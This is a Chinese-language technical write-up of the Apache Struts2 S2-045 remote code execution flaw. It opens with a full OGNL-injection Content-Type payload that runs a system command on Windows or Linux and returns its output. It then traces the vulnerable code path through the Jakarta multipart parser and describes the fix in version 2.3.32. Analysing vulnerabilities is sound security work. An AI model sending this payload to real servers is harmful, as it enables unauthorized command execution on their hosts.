0x00 代码

0x01 POC

1
Content-Type: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"ipconfig"').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}; boundary=----WebKitFormBoundary5EXHV5bE9uMnekg3

开头的%换成$也是可以的.

这个POC作者构造的很漂亮,兼容windows和linux,并且能回显.

0x02 分析

根据官网的描述,如果处理文件上传时使用的时Jakarta解析器,就可能导致命令执行.

org.apache.struts2.dispatcher.Dispatcher中的wrapRequest()方法用于将HTTP请求包装成一个对象,所以我们在这里下断.

首先判断请求是否已经包装过.

然后获取了content_type,如果content_type包含multipart/form-data,就创建一个MultiPartRequestWrapper()对象.

跟进,到达org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper:78,

跟进parse(),到达org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest:89,

由于我们传入的content-type不对,这里会触发异常.

注意这里异常消息里包含了我们传入的恶意content-type,然后进入了buildErrorMessage().

经过一系列传递,调用栈如下,

传入的content-type进入evaluate(),在com.opensymphony.xwork2.util.OgnlTextParser:8.

这个函数就很眼熟了,之前在S2-001就看过了,就是取出{}里的内容,然后作为OGNL执行.

所以,整个漏洞的流程就是这样.

0x03 修复

在Struts 2.3.32版本中,

LocalizedTextUtil.findText()传入的参数是null,而不是外部提交的content-type了.

0x04 总结

045和046原理差不多,046是在Content-Length里注入.

不知道下一个St2的表达式注入又会是在哪呢?

0x05 参考

https://cwiki.apache.org/confluence/display/WW/S2-045